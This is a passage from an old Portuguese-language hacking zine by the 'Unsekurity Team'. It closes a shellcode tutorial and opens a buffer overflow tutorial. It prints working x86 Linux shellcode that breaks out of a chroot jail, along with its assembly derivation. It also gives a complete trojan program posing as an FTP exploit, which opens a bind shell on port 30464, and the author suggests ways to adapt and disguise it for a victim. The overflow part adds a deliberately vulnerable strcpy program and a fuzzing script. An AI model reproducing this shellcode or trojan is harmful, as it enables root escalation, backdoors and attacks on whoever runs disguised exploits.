casos.Soh que mais uma vez, o pessoal agiu, descobriram que atraves de um buffer overflow, ou mesmo pela execucao de um shellcode como root(atravez de um programa suid),que era possivel inserir codigo malioso que quebrasse essa protecao.Isso vem sendo durante muito tempo usado, principalmente em "remote buffer overflows" em servidores de ftp. O que vai ser explicado aqui nao eh como se faz overflows para se quebrar isso, mas sim, uma forma de executar um codigo como root que "quebre" esta defesa. Veremos um esquema para se "quebrar" isso, mas eu conheco outro esquema ainda, veja depois o item 7.4. /* Primeiro tipo de shellcode para quebrar chroot() */ #include #include main() { mkdir("sh",0755); chroot("sh"); /* Colocamos muitos "../", voce pode ver a funcionalidade deles executando em sua shell, verah que cairah no diretorio raiz, lembrando: "Tem muito servidor de http por aih que permitem atraves disso que se leia um arquivo do sistema! */ chroot("../../../../../../../../../../../../../../../../"); } Compilamos com as opcoes para gerar codigo estatico, em seguida carregamos o programa no debugador gdb. [localhost:/]$ gcc -o shechroot1 shechroot1.c -static -ggdb [localhost:/]$ gdb shechroot1 GNU gdb 4.18 Copyright 1998 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions.Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details.This GDB was configured as "i686-pc-linux-gnulibc1"... (gdb) Se voce digitar "disassemble main" verah a chamada para as 3 funcoes ou system calls responsaveis pela quebra, nao colocarei aqui, mas de uma olhada para que nao haja duvidas. Seguimos abaixo desassemblando o codigo de mkdir. (gdb) disassemble mkdir Dump of assembler code for function mkdir: 0x8048404 : push %ebp 0x8048405 : mov %esp,%ebp 0x8048407 : push %ebx 0x8048408 : mov $0x27,%eax 0x804840d : mov 0x8(%ebp),%ebx 0x8048410 : mov 0xc(%ebp),%ecx 0x8048413 : int $0x80 0x8048415 : mov %eax,%edx 0x8048417 : test %edx,%edx 0x8048419 : jge 0x804842b 0x804841b : neg %edx 0x804841d : push %edx 0x804841e : call 0x8050b58 <__normal_errno_location> 0x8048423 : pop %edx 0x8048424 : mov %edx,(%eax) 0x8048426 : mov $0xffffffff,%eax 0x804842b : pop %ebx 0x804842c : mov %ebp,%esp 0x804842e : pop %ebp 0x804842f : ret End of assembler dump. (gdb) Para mkdir, tudo que nos importa sao as primeiras 7 linhas.Dessas 7 linhas, como as 3 primeiras correspondem ao procedimento inicial ou preludio, somente as 4 restantes de fato irao nos interessar, eis elas aih embaixo: 0x8048408 : mov $0x27,%eax 0x804840d : mov 0x8(%ebp),%ebx 0x8048410 : mov 0xc(%ebp),%ecx 0x8048413 : int $0x80 O codigo acima faz o seguinte: mov $0x27,%eax Coloca o numero correspondente a mkdir na tabela system call(39) em %eax. mov 0x8(%ebp),%ebx Coloca o endereco da string "sh" em %ebx. mov 0xc(%ebp),%ecx Coloca o endereco a string "0755" em %ecx. Para o codigo acima, retiramos os null bytes e teremos: xorl %eax,%eax xorl %ecx,%ecx movb $0x27,%al leal 0x5(%esi),%ebx Essa instrucao lea aih estah para executar o seguinte: "%esi" possui referencia a "/bin/sh" antes de usar esta intrucao, no caso, esse /bin/sh, eh aquele no nosso primeiro shellcode inicial, onde esse codigo para quebrar chroot() vai ser inserido.Esta instrucao(leal) carrega o endereco de "sh", nao de "/bin/sh", e armazena em %ebx. incb %ch movb $0xed,%cl int $0x80 Em cima aih, complica um pouco.O que estah acontecendo eh o seguinte, lembrando que CH eh o registrador counter high, contador de memoria alta.CX, eh CH + CL, (HIGH e LOW), respectivamente.Inicialmente temos: CX = 0000 0001 0000 0000 Incrementando %ch (incb %ch), mudaremos todo %cx, como explicado no capitulo sobre registradores. Entao, agora teremos: CX = 0000 0001 1110 1101 Pegando soh uma parte dele e movendo sobre cl (Contador Baixo), teremos: CX = 000 111 101 101 Preste bem atencao, olhe para o CX acima que foi incrementado, veja que nos pegamos as tres ultimas partes(0001 1110 1101) e dividimos em quatro partes de 3(000 111 101 101), foi por isso que fiz questao de ensinar a conversao usando notacoes,amigo. Se voce prestar atencao, pegarah os respectivos numeros decimais de cada numero binario aih soh olhando: 000 111 101 101 0 7 5 5 Que eh exatamente nosso codigo referido a permissao do diretorio "sh" que estarah sendo criado.Nao se assuste com tudo isso, amigo, foi soh para ilustrar, para nossos intuitos, o codigo em C faz quase todo o trabalho. Vejamos entao como ficarah o codigo para mkdir(): xorl %eax,%eax xorl %ecx,%ecx movb $0x27,%al leal 0x5(%esi),%ebx incb %ch movb $0xed,%cl int $0x80 Eis aih nosso codigo.mkdir() estah exterminado, agora vejamos para chroot().Voltemos novamente ao gdb. (gdb) disassemble chroot Dump of assembler code for function chroot: 0x8048430 : push %ebp 0x8048431 : mov %esp,%ebp 0x8048433 : push %ebx 0x8048434 : mov $0x3d,%eax 0x8048439 : mov 0x8(%ebp),%ebx 0x804843c : int $0x80 0x804843e : mov %eax,%edx 0x8048440 : test %edx,%edx 0x8048442 : jge 0x8048454 0x8048444 : neg %edx 0x8048446 : push %edx 0x8048447 : call 0x8050b58 <__normal_errno_location> 0x804844c : pop %edx 0x804844d : mov %edx,(%eax) 0x804844f : mov $0xffffffff,%eax 0x8048454 : pop %ebx 0x8048455 : mov %ebp,%esp 0x8048457 : pop %ebp 0x8048458 : ret 0x8048459 : nop 0x804845a : nop 0x804845b : nop End of assembler dump. De todo este codigo aih, voce jah deve ter percebido, o que vai nos interessar eh somente as linhas: 0x8048434 : mov $0x3d,%eax 0x8048439 : mov 0x8(%ebp),%ebx 0x804843c : int $0x80 Vejamos em detalhes: mov $0x3d,%eax Coloca o numero correspondente ao system call chroot(61) em %eax. mov 0x8(%ebp),%ebx Coloca o endereco de "sh" em %ebx. int $0x80 Sai para o modo kernel. Retirando os byte nulos, teremos: xorl %eax,%eax leal 0x5(%esi),%ebx movb $0x3d,%al int $0x80 Para esse codigo nao tem muito segredo, mas agora entrarah um pouquinho da necessidade de se saber trabalhar e escrever em assembly.O chroot() em nosso exemplo, possui duas chamadas, podemos ver isso desassemblando main, a primeira chamada se refere ao que descrevemos acima, chroot("sh"), a segunda eh a que vou tentar explicar abaixo: chroot("../../../../../../../../../../../../../../../../"); O codigo para isto, segue abaixo: movl $0xffd0d1d2,%ebx negl %ebx xorl %ecx,%ecx movb $0x10,%cl pushl %esi addl %ecx,%esi movl %ebx,(%esi) addl $0x3,%esi loopne -0x7 popl %esi movb $0x3d,%al leal 0x10(%esi),%ebx int $0x80 Vamos com bastante calma, vou explicar o que significa isso aih: movl $0xffd0d1d2,%ebx Pega o endereco de "../" e guarda em %ebx. negl %ebx Eh uma instrucao logica, indicando que %ebx nao eh maior ou igual a string armazenada(aquele monte de ../). xorl %ecx,%ecx movb $0x10,%cl Um contador nao nulo, preparado p/ contar ateh 16(16 vezes ../). pushl %esi addl %ecx,%esi movl %ebx,(%esi) addl $0x3,%esi Nada demais aih em cima, onde tah sendo adicionado ao source index os 16 ../ . loopne -0x7 popl %esi O loop para geracao logica. Voce tah vendo aih um numero negativo -0x7, o loopne salta se o registrador CX, no caso %ecx for diferente de -0x7. movb $0x3d,%al Coloca o numero correspondente ao system call chroot(61) em %al. leal 0x10(%esi),%ebx Aqui sim ocorre a "copia" 16 vezes propriamente dita de "../". int $0x80 Volta para o modo kernel. Como voce pode ver, nao eh nada facil fazer shellcodes um pouco mais complexos.Isso foi soh para voce ter uma breve ideia, logico, dependendo do seu nivel de conhecimentos em assembly, isso tudo pode parecer fichinha.Como quero descrever soh o basico, ateh mesmo este exemplo foge ao escopo deste tutorial, mas foi soh para voce se empolgar mais!! Vejamos agora como fica isso aih num programa C. #include #include #include char shellcode[]= "\xeb\x4f" /* jmp 0x4f */ "\x31\xc0" /* xorl %eax,%eax */ "\x31\xc9" /* xorl %ecx,%ecx */ "\x5e" /* popl %esi */ "\x88\x46\x07" /* movb %al,0x7(%esi) */ "\xb0\x27" /* movb $0x27,%al */ "\x8d\x5e\x05" /* leal 0x5(%esi),%ebx */ "\xfe\xc5" /* incb %ch */ "\xb1\xed" /* movb $0xed,%cl */ "\xcd\x80" /* int $0x80 */ "\x31\xc0" /* xorl %eax,%eax */ "\x8d\x5e\x05" /* leal 0x5(%esi),%ebx */ "\xb0\x3d" /* movb $0x3d,%al */ "\xcd\x80" /* int $0x80 */ "\x31\xc0" /* xorl %eax,%eax */ "\xbb\xd2\xd1\xd0\xff" /* movl $0xffd0d1d2,%ebx */ "\xf7\xdb" /* negl %ebx */ "\x31\xc9" /* xorl %ecx,%ecx */ "\xb1\x10" /* movb $0x10,%cl */ "\x56" /* pushl %esi */ "\x01\xce" /* addl %ecx,%esi */ "\x89\x1e" /* movl %ebx,(%esi) */ "\x83\xc6\x03" /* addl %0x3,%esi */ "\xe0\xf9" /* loopne -0x7 */ "\x5e" /* popl %esi */ "\xb0\x3d" /* movb $0x3d,%al */ "\x8d\x5e\x10" /* leal 0x10(%esi),%ebx */ "\xcd\x80" /* int $0x80 */ "\x31\xc0" /* xorl %eax,%eax */ "\x89\x76\x08" /* movl %esi,0x8(%esi) */ "\x89\x46\x0c" /* movl %eax,0xc(%esi) */ "\xb0\x0b" /* movb $0xb,%al */ "\x89\xf3" /* movl %esi,%ebx */ "\x8d\x4e\x08" /* leal 0x8(%esi),%ecx */ "\x8d\x56\x0c" /* leal 0xc(%esi),%edx */ "\xcd\x80" /* int $0x80 */ "\xe8\xac\xff\xff\xff" /* call -0x54 */ "/bin/sh"; /* .string \"/bin/sh\" */ void main(){ int *retorno; retorno = (int *)&retorno +2; (*retorno) = (int)shellcode; } Voce pode testa-lo em sua maquina, mas ele eh util, mais para o pessoa que tentarah executar algum comando malicioso como root.De qualquer forma, ele eh bastante util para propositos educacionais!!:) 7.4 Dividas Para o Proximo Tutorial ------------------------------------ Eu vou ficar devendo algumas coisas que jah estao preparadas amigo, mas como voce pode ver, este assunto nunca estah completo, tem mais de 2000 linhas de texto aqui, e isso eh apenas o basico, queria colocar mais coisas, mas vai ficar para o proximo, ou mesmo para um mais avancado, nao sei se feito por mim ou algum outro membro do grupo, quem sabe ateh outros grupos nao se antecipam, nao sei, mas espere um pouco. De ante-mao, digo algumas coisas, eh possivel se fazer muitos shellcodes, o que se faz necessario eh um maior aprendizado de assembly, e como sempre, bons algoritmos ajuda.Eu dei algumas dicas de shellcodes que podem ser feitos facilmente amigo, nao investi em truques, pode-se usar truques que facilitam as coisas, mas tem que saber o que se estah fazendo, como aqui eh voltado para NewBie, nao direi truques ainda. Gostaria de deixar um aviso do porque da necessidade de se conhecer ao menos o basico sobre isso, em essencial sobre assembly.Essas linhas eu direciono para os kiddies, que pegam todo e qualquer exploit e jah vai logo compilando e executando, em busca da primeira rede bugada que encontrar, gente que anda em canais querendo trocar shell, como se o pessoal que manja mesmo estivesse interessado nisso, se liga mano, o pessoal que manja, primeiro nao sai por aih dizendo que invadiu isso ou aquilo, ou mesmo chega ao ponto de trocar shells, existem muitos motivos para eles fazerem isso, coisas que kiddies nao entenderiam. Mas de qualquer forma, amigo Newbie, veja um exemplo de um trojan horse inserido num shellcode abaixo. ------------------------ trojanshell1.c ------------------------------ /* Exemplo de um trojan horse que abre uma porta(30464) com shell do usuario que o executou. Desenvolvido por Nash Leon com base no Shellcode do Taeho Oh ( ohhara@postech.edu ). Agradecimentos a Magic Kiss e ao Unsekurity Team. nashleon@yahoo.com.br */ #include #include #include #include #include #include #include #include char shellcode[]= "\x31\xc0\xb0\x02\xcd\x80\x85\xc0\x75\x43\xeb\x43\x5e\x31\xc0" "\x31\xdb\x89\xf1\xb0\x02\x89\x06\xb0\x01\x89\x46\x04\xb0\x06" "\x89\x46\x08\xb0\x66\xb3\x01\xcd\x80\x89\x06\xb0\x02\x66\x89" "\x46\x0c\xb0\x77\x66\x89\x46\x0e\x8d\x46\x0c\x89\x46\x04\x31" "\xc0\x89\x46\x10\xb0\x10\x89\x46\x08\xb0\x66\xb3\x02\xcd\x80" "\xeb\x04\xeb\x55\xeb\x5b\xb0\x01\x89\x46\x04\xb0\x66\xb3\x04" "\xcd\x80\x31\xc0\x89\x46\x04\x89\x46\x08\xb0\x66\xb3\x05\xcd" "\x80\x88\xc3\xb0\x3f\x31\xc9\xcd\x80\xb0\x3f\xb1\x01\xcd\x80" "\xb0\x3f\xb1\x02\xcd\x80\xb8\x2f\x62\x69\x6e\x89\x06\xb8\x2f" "\x73\x68\x2f\x89\x46\x04\x31\xc0\x88\x46\x07\x89\x76\x08\x89" "\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31" "\xc0\xb0\x01\x31\xdb\xcd\x80\xe8\x5b\xff\xff\xff"; void trojan(); main(int argc, char *argv[]){ char *vitima; int Meusocket; struct hostent *he; struct sockaddr_in lascado; if(argc < 2){ printf("Uso: %s \n",argv[0]); exit(0); } vitima = argv[1]; he = gethostbyname(vitima); if (he < 0){ printf("Host Desconhecido mano!!\n"); exit(1); } Meusocket = socket(AF_INET, SOCK_STREAM, 0); if(Meusocket < 0){ fprintf(stderr,"Erro no socket mano!!\n"); exit(1); } lascado.sin_family = he->h_addrtype; lascado.sin_port = htons(21); lascado.sin_addr = *((struct in_addr *)he->h_addr); bzero(&(lascado.sin_zero), 8); if(connect(Meusocket,(struct sockaddr * )&lascado, sizeof(lascado)) ==0){ printf("Erro em connect() mano!!\n"); close(Meusocket); trojan(); } else { printf("Falha no overflow mano!!\n"); close(Meusocket); } void trojan(){ int *retorno; retorno = (int *)&retorno +2; (*retorno) = (int)shellcode; } ----------------------------------------------------------------- Eh obvio e evidente que este trojan pode ser melhorado, mas coloquei ele simples assim, soh para dar uma ideia do perigo que eh voce executar exploits dos outros sem ter conhecimento de no minimo o que estarah sendo executado no programa.Qualquer um com poucos conhecimentos em C veria que as ultimas linhas sao suspeitas, mas e quanto ao shellcode, que vem parecido em muitos exploits??? Os kiddies executam algo sem nem mesmo ter ideia do perigo.O trojan acima abre a porta 30464, que jah eh amplamente difundida nesse exemplo de shellcode na internet, mas ela pode facilmente ser alterada, e entre as dividas que deixarei, eh explicar passo por passo, a escrita e funcionamento deste shellcode. Se voce tem alguma vitima, voce terah que adaptar esse exploit, mas fica aih o conceito, voce poderia muito bem alterar o conteudo, camuflar a funcao trojan, ou mesmo inserir o codigo dentro de main, existem dezenas de formas de se melhorar isso aih em cima, coloquei simples porque nao quero ser responsavel por nada!!Escrevi esse trojan apenas com proposito educacional!!Nao me responsabilizo por eventuais danos que alguem pode gerar com o uso dele!!! Outra ilustracao do perigo que os kiddies passam quando executam exploits dos outros, eh executar exploits como root.Alguem poderia muito bem fazer um trojan igual a este, mas ao inves de abrir uma porta com shell, executaria um comando como por exemplo: " rm -rf /". Isso eh um aviso para aquele pessoal que pensa que entrar para esse mundo underground eh brincadeira!!! Pretendo em tutoriais futuros disponibilizar shellcodes quase tao perigosos quanto este, vai depender de alguns fatores.Voce jah deve estar contemplando muitas teorias amigo..:)...Mande brasa. Tou devendo a solucao de muitas coisas que ficaram pendentes aqui, como executar comandos de tamanho maior de /bin/ls ou /bin/sh. Tambem tou devendo uma maior insercao em shellcodes contra filtros. Um shellcode para acrescentar usuario ou usuarios num passwd.Muita coisa boa, em breve, estarah disponivel para voce amigo.Fique atento a home page do grupo Unsekurity Team, estaremos sempre disponibilizando tutoriais e textos diversos de nivel, voltado mais a galera que de fato quer aprender. Espero que os exemplos tenham ficado claros, e que sirvam de algum modo a voce nessa longa jornada que estamos fazendo. ---------------- 8 - TERMINANDO | ---------------- Ultimo capitulo dessa nossa fase inicial de escrita de shellcodes, nada mais que uma breve despedida. 8.1 DIFERENCAS ENTRE A SINTAXE AT&T E A SINTAXE INTEL ------------------------------------------------------- * Os nomes dos registradores sao precedidos por "%" , alguns exemplos sao: %eax, %ebx, %ecx, %edx, %esi, %edi e %ebp, que correspondem a ax,bx,cx,dx si,di e bp na sintaxe INTEL. * Na sintaxe INTEL, primeiro vem o destino, depois a fonte(source) ou origem.Exemplo: mov ah,002. Na sintaxe AT&T eh o inverso primeiro vem a fonte ou origem(source), e no fim o destino, exemplo: movl $2, %eax * Operandos imediatos sao marcados com um prefixo $, como em addl $3,%eax (adiciona valor 3 p/ registrador %eax). * O tamanho do operando eh especificado com um sufixo do tipo da instrucao. O sufixo eh b para byte(8 bits), w para word(16 bits), e l para long(32 bits).Exemplo: movw %dx,%ax. Todavia, em muitos sistemas, na sintaxe AT&T, o uso desses sufixos sao opcionais, onde por padrao eh long, ou 32 bits. * A falta de prefixo p/ um operando indica que ele eh um endereco de memoria. Como vimos movl $foo,%eax coloca o endereco da variavel foo no registrador %eax, mas movl foo,%eax coloca o conteudo da variavel foo no registrador %eax. 8.2 - Links e Referencias --------------------------- Sao varias as referencias usadas para a escrita deste tutorial, algumas compilacoes minhas aqui mesma, foram usadas, coisas bem antigas,de qualquer forma, as referencias abaixo podem e devem ser uteis para um Newbie. "Smash The Stack For Fun e Profit" - PHRACK 49-14, by Aleph 0ne. Pode ser obtido em : www.phrack.com www.2600.com/phrack/ "Advanced Buffer Overflows" - Taeho Oh. Pode ser obtido em: http://postech.edu/~ohhara www.securityfocus.com http://packetstorm.securify.com "Curso de assembly" - Frederico Pissarra. Pode ser obtido em: www.assembly.8m.com "Turbo C Avancado" - Herbet Schildt. Editora: McGraW-Hill Alguns links onde voce pode obter mais informacoes sobre assembly: www.assembly.8m.com www.ice-digga.com/programmig/bmp.html www.strangecreations.com/library/assembly/tutor www.nuvisionmiami.com/kip/asm.htm 8.3 - Consideracoes Finais --------------------------- Bem amigo, aqui eh soh bobagem, se nao tiver disposto, pode fechar o editor de texto ou o browser, ou qualquer programa que esteja usando para ler isso, bem como o caderno ou folhas de papel. Escrever tutoriais voltados para Newbie eh ao mesmo tempo gratificante e dificil.Gratificante porque dah a sensacao de estarmos empurrando uma gigantesca roda de informacoes, num constante ciclo em busca de maior liberdade de informacao, bem como de troca de informacoes.Sao poucos os textos sobre escrita de shellcodes em portugues, nao quero com isso desmerecer os que os fizeram, ao contrario, sou grato sim a esse pessoal que de fato contribui ou contribuiu durante algum tempo para que esta roda continuasse girando.Mais uma vez direciono umas palavras a "elite" de fucadores nacional, ateh quando??? Vemos muitos garotos fazendo bobagens como mudar home pages e etc, mas de quem eh a culpa?? Se existem culpados, nao quero acusar o pessoal da seguranca, pois o pessoal da seguranca tem se mostrado fraco porque ateh hoje soh se depararam com garotos que no maximo derrubam um provedor ou mudam uma home page, mas todos nos sabemos que por tras das cameras tem crackers capazes de fazer o que quiserem com sistemas que valem milhoes, tendo acesso a todo tipo de informacao, desde cartoes de creditos, ateh mesmo projetos que podem valer milhoes ou mesmo destruir milhoes.Nao gosto de crackers, e nao eh para eles que escrevo, sei que aqui no pais, existem pessoas com decadas, isso mesmo, muitos anos de hacking, mas que se encontram quietos.Cada um possui o direito de agir e pensar da forma que quiser, mas quando os kiddies mudam uma home page e a midia cai em cima, chamando-os de "hackers", creio que, de uma forma ou de outra, esses que se encontram quietos tambem sao culpados por tal situacao.Isso tudo jah aconteceu lah fora, tah acontecendo aqui, os mais espertos sabem no que isso vai dar e jah estao se precavendo.Depois de muitos anos resolvi aparecer no cenario porque de fato temo que hackers que verdade paguem o preco pelo que os kiddies e crackers(sabemos que existem e ateh quem sao) andam fazendo.Nao se apavorem quando pintar uma operacao nos moldes da Sun Devil aqui no pais, porque temos ateh entao sido cumplices do jogo que a "seguranca" tem tramado. Manifesto a parte, gostaria de agradecer ao pessoal que tornou possivel este tutorial, sao tantas pessoas, mas se esqueci de alguem, espero a compreensao do mesmo, o tempo continua a ser meu inimigo. Thanks Magic Kiss, module, raynox, xf86config, psych, e-brain, cs0, t[rex], Blind_Bard, Dinamite_, d3m3ns, CeZiNHa, meu grande amigo zip, thunderoffire, ocorvo, arse, kaervek, cdma, Matt_Salermo, Thanath0s e aos demais grupos que contribuem mundialmente para que haja maior liberdade de informacao. Fiquem atentos a home page do Unsekurity Team, novos materias devem estar disponiveis por estes dias.Sem mais. Nash Leon vulgo coracaodeleao. ------------------------------ EOF ------------------------------------- =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= =-=[ 14 ]=-=[ Básico Buffer Overflow ]=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ############################################################################# ########################### UNSEKURITY TEAM ################################# ############################################################################# IP_FIX: Atual Clube dos Mercenários, http://cdm.frontthescene.com.br OVERFLOWS "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" Segmentation Fault! Desenvolvido por Nash Leon vulgo coracaodeleao. nashleon@yahoo.com.br Thanks Magic kiss e Unsekurity Team. Voce pode encontrar este e outros textos em: http://unsekurity.virtualave.net/ AVISO: NAO NOS RESPONSABILIZAMOS PELO MAU USO DAS INFORMACOES AQUI CONTIDAS, ESSAS INFORMACOES TEM SOMENTE PROPOSITO EDUCACIONAL.NADA DE BOBAGENS! Sao varios os pre-requisitos p/ a leitura e o entendimento desse arquivo texto. Vamos partir do pre-suposto que voce sabe programar em C, conhece bem o sistema operacional linux, pois como muitos, esse txt estah voltado somente p/ sistemas operacionais linux, digo sistemas, porque hj em dia ha muita diferenca entre Slack, Debian e REd sux. Faz necessario um conhecimento basico de assembly, existe um texto voltado justamente p/ a programacao de shellcodes na home page citada acima que poderah ajudar, mas eh bom ter em mente mais material sobre assembly.Mais uma vez, esse txt eh voltado p/ "Newbies", se voce eh elite vah procurar outro material, as teorias aqui nao serao aproveitadas por voce,caso seja elite!!!Como nos demais txts que escrevi, vou tentar ser o mais pratico possivel, e nesse nao serah diferente. Se quiser se aprofundar mais no assunto, no fim desse txt colocarei alguns links onde vc poderah encontrar mais informacoes sobre esse tao fascinante assunto.Eu iria me aprofundar ao maximo, mas o velho inimigo conhecido como tempo tem me vencido em muitas batalhas, de modo que pretendo nesse txt ficar no basico do basico, mas jah tem material futuro sendo preparado.Espere e verah! Bem,depois de toda essa ladainha,vamos trabalhar. ------------------------------- INDICE ----------------------------------- 1.INTRODUCAO 1.1 O que eh um buffer overflow 1.2 Tirando proveito 1.3 Modelo usual de memoria 2.O STACK OU A PILHA 3.SHELLCODE 3.1 Shellcode /bin/sh 4.FAZENDO UM STACK OVERFLOW 5.PROBLEMAS COM EXPLOITS 6.O HEAP - A NOVA ERA?? 6.1 Alocacao dinamica em C 7.HEAP OVERFLOW 8.O PROJETO OMEGA 9.PROCURANDO FUROS 10.TERMINANDO 10.1 Links e Referencias 10.2 Consideracoes Finais --------------------------------------------------------------------------- ---------------- 1. - INTRODUCAO | ---------------- Buffer overflows nao eh coisa nova.Comenta-se que desde a decada de 70 jah se tinha ideia do potencial desse problema, os programas em C estavam se firmando, e a medida que o tempo passava, os programadores iam crescendo em numero,mas diminuindo em cuidados.No entanto, a popularizacao dessa tecnica soh se efetivou com a chegada do "poderoso worm" de Robert Morris, comecava uma nova geracao de problemas p/ os administradores de redes, essa popularizao dessa tecnica foi muito gradual, poucos eram os documentos disponiveis,fazendo com que a "elite" mantivesse o controle total dela, mas como nem tudo dura p/ sempre, em 1994, surgem reforcos no intuito de massificar os conhecimentos nessa area, isso culmina com os excelentes textos feito pela PHRACK e pelo pessoal da The Hacker's Choice.A realidade disso tudo, eh que ainda hoje ocorrem muitos erros de programacao,surgem novas ferramentas que se dizem "capazes" de nao permitir mais um stack overflow, bem como novos programas que procuram bugs, e ateh mesmo fazedores de shellcodes.Voce deve estar se perguntando, se tem tudo isso,estou perdendo meu tempo lendo isso aqui??Assim como muitos,eu era um grande dependente de fucadores de fora, ficava agindo igual a um kiddie, ateh que num belo dia, surgiu um bug fantastico que estava sendo explorado por pouca gente, mas como eu era dependente e ninguem era louco p/ publicar o programa que explorava esse bug,eu percebi que se eu dependesse dos outros,jamais poderia de fato ter acesso a sistemas grandes,bem como poder um dia ser chamado de fucador.O que eu disse eh o rumo natural das coisas, se chegou ateh aqui, deve ser porque quer caminhar mais longe,fazer seus proprios exploits,e descobrir bugs por conta propria, espero que esse txt seja util p/ alguem, quem dera eu tivesse um desse quando comecei a pesquisar sobre isso!! --------------------------------------------------------------------------- -------------------------------- 1.1 O QUE EH UM BUFFER OVERFLOW | -------------------------------- Os programas que manipulam(recebem) variaveis necessitam de buffers, que sao locais na memoria onde sao guardados os dados que as variaveis recebem, no nosso caso.Quando se declara num programa uma variavel com tamanho X, e na execucao desse programa essa variavel termina recebendo dados maiores que X, entao ocorre o que chamamos de "BUFFER OVERFLOW".Quando isso ocorre,na maioria da vezes, voce receberah uma "Segmentation Fault", isso poderah servir como pista, pois muitas vezes quando isso ocorre, o programa executado poderah ser vulneravel a um buffer overflow.Um exemplo pratico de uma vulnerabilidade deste tipo eh mostrado abaixo: /* PROGRAMA BUGADO - EXEMPLO PRATICO P/ TXT SOBRE OVERFLOWS Compile com $gcc -o bug1 bug1.c */ #include #include main(int argc, char *argv[]){ char buffer[512]; if(argc < 2){ printf("Programa bugado!!\n"); printf("Uso: %s \n",argv[0]); exit(0); } strcpy(buffer,argv[1]); printf("Voce digitou %s!!\n",buffer); return 0; } Este eh o exemplo mais classico que existe.A funcao strcpy() copia o que voce digitar na linha de comando(argv[1]) p/ o buffer declarado (buffer) e como esta funcao nao faz checagem de tamanho, entao bomba!! Esse programa eh vulneravel a um buffer overflow. Teste ele digitando mais de 512 bytes em argv[1].Uma forma pratica seria: [localhost: /]$./bug1 `perl -e 'printf "A" x 530'` Se nao possui perl instalado tente na mao mesmo: [localhost: /]$./bug1 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA... Um monte de As. Ou se preferir, use o programa abaixo: --------------------------------------------------------------------- /* Simples programa para ver se determinado programa eh vulneravel a um buffer overflow. Desenvolvido por Nash Leon e Unsekurity Team. Thansk Ramona. */ #include #include /* Altere o PATH conforme o local que se encontra o arquivo bugado, bem como o tamanho que iremos usar p/ sobrescrever o buffer */ #define PATH "/tmp/bug1" #define A 0x41 #define TAMANHO 600 main(int argc, char *argv[]) { int i; char *buffer = (char *)malloc(TAMANHO); memset(buffer, A, TAMANHO-1); printf("Enchendo o buffer com caracter A !\n"); execl(PATH,"bug1",buffer,0); } ---------------------------------------------------------------------- Isso eh soh um programa exemplo, voce pode alterar ele e fazer dele um checador de todo e qualquer programa que utilize a linha de comando para pegar argumentos para uma variavel.Fica aih a concepcao, talvez divulgue em breve algo melhor que possuo em maos. Verifique a resposta que surgirah 'Segmentation fault'.Isso serah bastante comum durante nosso estudo. Vamos analisar varios codigos usando a ferramente gdb (Debugador GNU). Se voce nao tiver,ele eh um software gnu(super gratuito!!!) voce poderah acha-lo em qualquer mirror de softwares ou distribuicoes linux que se preze. www.gnu.org ; ftp://ftp.cdrom.com/pub/gnu.Veremos agora como tirar proveito disso tudo. ----------------------- 1.2 - TIRANDO PROVEITO | ----------------------- Sabemos entao quando ocorre um buffer overflow,quando colocamos mais dados que o programa pode suportar.Mas qual o intuito disso tudo? Um programa quando executado possui algumas particularidades, dentre elas destaca-se um artificio usado na computacao p/ que apos o termino da execucao desse programa, o sistema retome ao estado que se encontrava antes, o nome dado a este artificio eh "retorno".Mas para que isso possa acontecer, faz-se necessario alguns procedimentos: Primeiro, salva-se o endereco na memoria referente ao retorno(endereco de retorno) no stack, se a execucao normal do programa termina, o CPU irah saltar(jmp) para o endereco de retorno(return address) e continuar normalmente.Mas se alterarmos a execucao normal do programa usando um buffer overflow a coisa muda,se escrevermos mais dados em uma variavel e esse enchimento alcancar e sobrescrever a regiao da memoria onde estah o codigo de retorno entao ocorre o chamado "overflow".Fazendo isso poderemos mudar o curso de um programa, inserindo codigos nossos capazes de executar comandos como o dono do programa(nosso alvo serao as suid root, programas do superusuario), entao alterando o endereco de retorno, poderemos fazer com que nosso codigo que estah seguindo num argumento de uma funcao p/ encher um buffer possa ser executado. Mais abaixo seguirao melhores explicacoes de como se fazer isso. ------------------------------ 1.3 - MODELO USUAL DE MEMORIA | ------------------------------ O modelo usual de memoria difere de sistema para sistema.Em Linux/i186 ela possui modelo flat de 32 bit.Um programa pode ser dividido em secoes.As secoes sao .text para seu codigo, .data para seus dados, .bss para dados indefinidos.Os programas devem ter no minimo a secao .text. Um esquema para visualizacao disso seria: ------------------- | .DATA | | (Stack e Heap) | ------------------- | .BSS | | (Heap) | ------------------- | .TEXT | ------------------- Como vimos acima, eu coloquei as respectivas regioes onde ocorrem overflows relacionados.Stack overflows ocorrem na regiao .data, heap tambem pode ser usado p/ sobrescrever essa regiao (.data), mas eh usualmente mais usado p/ sobrescrever a regiao .bss. Se voce leu o texto sobre programacao de shellcodes na page do Unsekurity Team verah que nao eh mera coincidencia..:) As regioes onde ocorrem os overflows serao estudadas com mais detalhes mais a frente.Quanto a regiao .TEXT, como dito acima, ela eh a reponsavel por conter segmentos de codigos,os dados nesse segmento sao instrucoes em assembly que o processador executa.Veremos embaixo um outro modelo usual, soh que para uso de memoria em C. Alta --------------- | Stack | --------------- | | | Memoria Livre | | para alocacao | | (heap) | | | --------------- | Var. globais | 